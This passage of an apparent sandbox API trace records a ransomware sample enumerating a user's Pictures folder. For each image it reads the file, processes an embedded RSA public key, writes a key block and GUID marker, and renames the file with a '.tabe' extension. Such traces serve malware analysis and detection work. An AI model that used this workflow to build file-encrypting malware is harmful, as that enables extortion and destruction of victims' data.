KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.684] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.684] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.684] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866bf8) returned 1 [0126.685] CryptCreateHash (in: hProv=0x866bf8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0126.685] CryptHashData (hHash=0x3463888, pbData=0x3ae70a8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0126.685] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0126.685] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0126.685] CryptDestroyHash (hHash=0x3463888) returned 1 [0126.685] CryptReleaseContext (hProv=0x866bf8, dwFlags=0x0) returned 1 [0126.685] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0126.685] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0126.685] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0126.686] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7e10 [0126.686] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x12437, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.686] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0126.686] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.686] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0126.686] CloseHandle (hObject=0x618) returned 1 [0126.687] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VZ1KGpBVhLm9TyscT.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\vz1kgpbvhlm9tysct.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VZ1KGpBVhLm9TyscT.jpg.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\vz1kgpbvhlm9tysct.jpg.tabe")) returned 1 [0126.689] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4511e060, ftCreationTime.dwHighDateTime=0x1d5d7f0, ftLastAccessTime.dwLowDateTime=0x1acf54e0, ftLastAccessTime.dwHighDateTime=0x1d5dbb0, ftLastWriteTime.dwLowDateTime=0x1acf54e0, ftLastWriteTime.dwHighDateTime=0x1d5dbb0, nFileSizeHigh=0x0, nFileSizeLow=0x2761, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="wvDV5e6xUuwbuPjMUG3.jpg", cAlternateFileName="WVDV5E~1.JPG")) returned 1 [0126.689] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\wvDV5e6xUuwbuPjMUG3.jpg") returned=".jpg" [0126.689] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\wvDV5e6xUuwbuPjMUG3.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\wvdv5e6xuuwbupjmug3.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0126.689] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=10081) returned 1 [0126.689] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0126.690] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x273b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.690] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0126.691] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x2761, lpOverlapped=0x0) returned 1 [0126.692] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.692] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.692] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.692] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866bf8) returned 1 [0126.693] CryptCreateHash (in: hProv=0x866bf8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0126.693] CryptHashData (hHash=0x3463888, pbData=0x3ae70a8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0126.693] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0126.693] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0126.693] CryptDestroyHash (hHash=0x3463888) returned 1 [0126.693] CryptReleaseContext (hProv=0x866bf8, dwFlags=0x0) returned 1 [0126.693] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0126.693] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0126.693] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0126.693] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7e10 [0126.693] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x2761, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.694] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0126.694] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.694] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0126.694] CloseHandle (hObject=0x618) returned 1 [0126.694] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\wvDV5e6xUuwbuPjMUG3.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\wvdv5e6xuuwbupjmug3.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\wvDV5e6xUuwbuPjMUG3.jpg.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\wvdv5e6xuuwbupjmug3.jpg.tabe")) returned 1 [0126.696] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f3c4f0, ftCreationTime.dwHighDateTime=0x1d5ddd9, ftLastAccessTime.dwLowDateTime=0x939e1a70, ftLastAccessTime.dwHighDateTime=0x1d5dcf8, ftLastWriteTime.dwLowDateTime=0x939e1a70, ftLastWriteTime.dwHighDateTime=0x1d5dcf8, nFileSizeHigh=0x0, nFileSizeLow=0x15258, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="YOVR.gif", cAlternateFileName="")) returned 1 [0126.696] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\YOVR.gif") returned=".gif" [0126.696] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\YOVR.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\yovr.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0126.696] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=86616) returned 1 [0126.696] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0126.697] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x15232, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.697] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0126.698] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x15258, lpOverlapped=0x0) returned 1 [0126.701] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.701] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.701] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.701] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866ea0) returned 1 [0126.702] CryptCreateHash (in: hProv=0x866ea0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0126.702] CryptHashData (hHash=0x3463888, pbData=0x3ae70a8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0126.702] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0126.702] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0126.702] CryptDestroyHash (hHash=0x3463888) returned 1 [0126.702] CryptReleaseContext (hProv=0x866ea0, dwFlags=0x0) returned 1 [0126.702] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0126.702] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0126.702] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0126.702] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7e10 [0126.703] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x15258, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.703] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0126.703] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.703] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0126.703] CloseHandle (hObject=0x618) returned 1 [0126.704] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\YOVR.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\yovr.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\YOVR.gif.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\yovr.gif.tabe")) returned 1 [0126.705] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f52180, ftCreationTime.dwHighDateTime=0x1d5d8c5, ftLastAccessTime.dwLowDateTime=0xda5a8540, ftLastAccessTime.dwHighDateTime=0x1d5e372, ftLastWriteTime.dwLowDateTime=0xda5a8540, ftLastWriteTime.dwHighDateTime=0x1d5e372, nFileSizeHigh=0x0, nFileSizeLow=0x1277b, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="z1b7OTKSMe 9P9.bmp", cAlternateFileName="Z1B7OT~1.BMP")) returned 1 [0126.705] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\z1b7OTKSMe 9P9.bmp") returned=".bmp" [0126.705] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\z1b7OTKSMe 9P9.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\z1b7otksme 9p9.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0126.705] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=75643) returned 1 [0126.706] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0126.706] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x12755, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.707] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0126.708] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x1277b, lpOverlapped=0x0) returned 1 [0126.709] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.709] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.709] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.709] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866bf8) returned 1 [0126.710] CryptCreateHash (in: hProv=0x866bf8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0126.710] CryptHashData (hHash=0x3463888, pbData=0x3ae70a8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0126.710] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0126.710] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0126.710] CryptDestroyHash (hHash=0x3463888) returned 1 [0126.710] CryptReleaseContext (hProv=0x866bf8, dwFlags=0x0) returned 1 [0126.710] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0126.710] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0126.710] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0126.710] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7e10 [0126.711] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x1277b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.711] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0126.711] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.711] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 